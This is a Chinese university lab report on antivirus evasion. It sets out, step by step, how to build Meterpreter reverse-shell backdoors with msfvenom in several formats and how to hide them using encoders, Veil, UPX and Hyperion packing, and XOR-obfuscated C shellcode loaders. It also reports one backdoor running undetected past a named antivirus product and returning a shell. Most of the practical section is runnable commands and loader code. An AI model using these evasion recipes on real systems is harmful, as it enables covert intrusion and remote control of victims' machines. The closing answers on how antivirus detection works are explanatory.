1.实验内容
1.1学习总结
本周的学习内容为恶意代码的概念、发展历史以及分析技术。我知晓了恶意代码的不同类型及其典型案例、攻击方式和危害。同时我了解了静态分析和动态分析所采用的技术方法。
1.2实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验过程
2.1.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(1)使用msf编码器进行恶意代码编写
①查看虚拟机的ip地址
②生成实验二所使用的后门程序
③生成完毕后在https://www.virustotal.com/gui/home/upload网站检测该程序,所得结果如下
④对生成的后门程序进行多次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.117.129 LPORT=2413 -f exe > 20222413_backdoor_1.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.117.129 LPORT=2413 -f exe > 20222413_backdoor_1.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.117.129 LPORT=2413 -f exe > 20222413_backdoor_1.exe
编码一次检测结果:
编码十次检测结果:
编码二十次检测结果:
总的来说多次编码对于免杀效果的影响微乎其微
(2)使用msfvenom生成其它类型的文件
msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.117.129 LPORT=2413 x> 20222413.jar
输出jar文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.117.129 LPORT=2413 x> 20222413.php
输出php文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.117.129 LPORT=2413 x> 20222413.py
输出python文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.117.129 LPORT=2413 x> 20222413.apk
输出apk文件
所得免杀检测结果如下:
①jar
②php
③python
④apk
2.1.2使用veil,加壳工具
(1)veil下载完成后输入
veil
use evasion
use+payload类型,如use c/meterpreter/rev_tcp.py
输入list查看可使用的payload
set LHOST 192.168.117.129
set LPORT 2413
generate
20222413_veil
生成结果免杀效果如下:
①powershell
②C语言
③python
④ruby
(2)其他加壳工具
①使用upx对生成的c语言payload加压缩壳
upx 20222413_c_veil.exe -o 20222413_c_upxveil.exe
免杀检测结果:
②使用hyperion加密加壳
cp 20222413_c_veil.exe /usr/share/windows-resources/hyperion
将生成的C语言payload复制到hyperion文件夹中
wine hyperion.exe -v 20222413_c_veil.exe 20222413_c_veil_hyp.exe
使用hyperion对文件加密,生成的文件命名为20222413_c_veil_hyp.exe
免杀效果检测:
2.1.3使用C + shellcode编程
(1)使用msfvenom生成shellcode数组
(2)建立C文件
#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] = "生成的shellcode" ;
int main() {
int (func)() = (int ()()) buf;
(func)();
return 0;
}
(3)编译C文件
(4)免杀效果检测
2.2通过组合应用各种技术实现恶意代码免杀
(1)使用C+shellcode+异或进行免杀,生成shellcode代码
(2)使用C语言对shellcode进行异或处理
#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] = "生成的shellcode" ;
int main(){
FILE *fptr;
fptr = fopen("shellcode.txt","w");
for(int i=0;i<sizeof(buf)-1;i++){
buf[i]^=0x01;
fprintf(fptr,"\x%x",buf[i]);
}
if(fptr==NULL){
printf("Error!");
exit(1);
}
fclose(fptr);
return 0;
}
使用gcc编译执行
得到异或后的shellcode
(3)使用异或的shellcode编写c文件
#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] = "生成的shellcode" ;
int main() {
int i;
for(int i=0;i<sizeof(buf)-1;i++){
buf[i]^=0x01;
}
int (func)();
func = (int ()()) buf;
(func)();
}
(4)编译C文件为exe
(5)免杀效果检测
2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
(1)生成后门文件20222413.raw
(2)通过共享文件夹将20222413.raw传送到主机
(3)使用杀毒工具进行检测
所用杀毒软件为火绒,版本为6.0.3.0
查杀结果如下
生成的后门程序并未被杀毒软件发现
(4)kali进入msf控制台,配置完成后在主机端使用shell_launcher运行后门程序,随后可获取主机shell
3.问题及解决方案
- 问题1:在下载veil的时候,报错wget: unable to resolve host address
- 问题1解决方案:错误原因为无法解析主机地址,进入/etc/resolv.conf修改DNS,将DNS地址改为google域名服务器
在文件最后插入
nameserver 8.8.8.8
nameserver 8.8.4.4
4.实验问题回答
(1)杀软是如何检测出恶意代码的?
- 特征码扫描:分析比对文件特征码与已知的恶意代码的特征码是否相同
- 启发式扫描:分析程序的行为判断是否为恶意代码。当程序中出现恶意行为,如访问与修改系统资源时,将该程序判定为恶意代码。
- 沙盒模拟技术:将待检测文件置于隔离的虚拟环境中运行,分析其行为和函数调用是否出现恶意行为
- 云查杀技术:借助云计算技术迅速分析大量数据,识别新出现的恶意软件。
(2)免杀是做什么?
- 通过使用技术手段修改恶意代码,使其无法被杀毒软件检测到,从而可以在目标系统中运行。
(3)免杀的基本方法有哪些?
- 修改特征码,如加壳(加密壳与压缩壳)、encode编码、使用其他语言重写后编译
- 改变行为,使用反弹式连接、隧道技术、加密数据等不易被判定为恶意行为的通讯方式。
5.学习感悟、思考等
本次实验内容为恶意代码的免杀原理与实践。通过本次实验,我了解到如何使用msf编码器、veil、upx和hyperion加壳以及c+shellcode技术。令我印象深刻的是veil的下载,过程很繁琐,在下载过程中虚拟机重启后出现了黑屏的问题,只能重装虚拟机。虽然过程有一点折磨,但最终得到每种方法的免杀检测结果、了解更多网络攻防技术知识带来的获得感令人欣喜。
参考资料
- 实验指导书:https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x23_MAL_免杀原理与实践.md
- 附件:https://gitee.com/wildlinux/NetSec/attach_files